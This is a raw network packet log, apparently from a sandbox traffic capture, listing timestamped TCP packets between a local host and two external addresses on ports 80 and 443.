Aug 30, 2024 18:13:05.925251961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925252914 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925271988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925290108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925375938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925386906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925398111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925409079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925420046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925424099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925441027 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925466061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925614119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925626040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925637007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925647974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925657034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925658941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925687075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925712109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925858974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925878048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925893068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925903082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925904989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.925923109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.925939083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926095009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926105976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926115036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926150084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926161051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926248074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926259041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926269054 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926280022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926290035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926294088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926301956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926321030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926336050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926383018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926394939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926404953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926414967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926433086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926445007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926472902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926511049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926529884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926541090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926551104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.926553011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926565886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.926585913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927134037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927145958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927155972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927167892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927181005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927185059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927196980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927202940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927206993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927218914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927225113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927232027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927248001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927257061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927261114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927283049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927304983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927459955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927500963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927663088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927675009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927685976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927696943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927705050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927709103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927721977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927731991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927738905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927742958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927753925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927759886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927766085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927776098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927777052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927788019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927798986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927803993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927813053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927822113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:05.927830935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927850008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:05.927861929 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.079824924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.079848051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.084728956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.084752083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.396629095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.396738052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.425184965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.430066109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.612317085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.612332106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.612343073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.612381935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.612420082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.614516973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.619465113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.811753988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.811822891 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.849605083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.849726915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.854485989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854542017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.854652882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854662895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854671001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854702950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.854723930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.854748964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854764938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854793072 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.854809046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.854892015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854902029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854909897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854918003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854924917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854933023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854940891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.854947090 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.854979038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.856528997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.856539011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.856547117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.856602907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.859344959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.859405041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.863405943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.863554955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:06.864394903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.864404917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.864414930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.864423037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.868616104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.868628025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.868727922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.868901968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.868916035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869137049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869144917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869152069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869220972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869230032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869237900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869246006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869252920 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869261026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869271040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869277954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869285107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869292021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869299889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869313002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869319916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869327068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869343042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869350910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869358063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869364977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869373083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869385004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869391918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869399071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869406939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869415998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869424105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869431019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869437933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869445086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869452000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869456053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869457960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869465113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869472980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869590998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869600058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:06.869606972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:07.265263081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:07.265357018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:07.268533945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:07.273329973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:07.446635008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:07.446686983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:08.009923935 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:08.009948969 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:08.010051966 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:08.118182898 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:08.118196964 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:08.871807098 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:08.871880054 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:08.922632933 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:08.922646046 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:08.922941923 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:08.922996044 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:08.926079988 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:08.972505093 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.204725027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.204780102 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.204828978 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.204840899 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.204849958 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.204879999 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.322616100 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.322700024 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.323412895 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.323491096 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.324122906 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.324184895 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.371098042 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.371172905 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.441405058 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.441473961 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.441849947 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.441915035 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.442531109 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.442589045 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.443317890 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.443386078 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.560753107 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.560851097 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.560955048 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.561012030 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.561752081 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.561820984 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.562472105 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.562541962 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.563509941 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.563580990 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.563690901 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.563760042 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.563966990 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.564029932 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.564769983 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.564841032 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.609214067 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.609301090 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.609303951 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.609313011 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.609354973 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.609371901 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.672777891 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.672867060 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.681260109 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.681334972 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.681644917 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.681704998 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.682384014 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.682427883 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.682454109 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.682459116 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.682491064 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.682501078 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.682745934 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.682805061 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.726444006 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.726545095 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.726731062 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.726787090 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.768057108 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.768127918 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.799556971 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.799666882 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.800055027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.800250053 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.800389051 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.800457954 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.800911903 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.800980091 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.801275015 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.801337957 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.844532967 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.844624043 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.844873905 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.844933987 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.845196962 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.845263958 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.911531925 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.911624908 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.918350935 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.918416023 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.918641090 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.918694973 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.919030905 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.919104099 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.919373035 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.919430017 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.919764996 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.919825077 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.962783098 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.962853909 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:09.963126898 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:09.963181973 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.006067038 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.006177902 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.042073011 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.042161942 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.042402983 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.042459965 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.042799950 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.042870998 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.043179035 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.043245077 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.043433905 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.043503046 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.043852091 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.043910980 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.205080986 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.205154896 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.277659893 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.277729034 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.279810905 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.279886961 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.280107975 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.280165911 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.280320883 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.280384064 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:10.280857086 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:10.280924082 CEST	49734	443	192.168.2.4	186.64.114.115
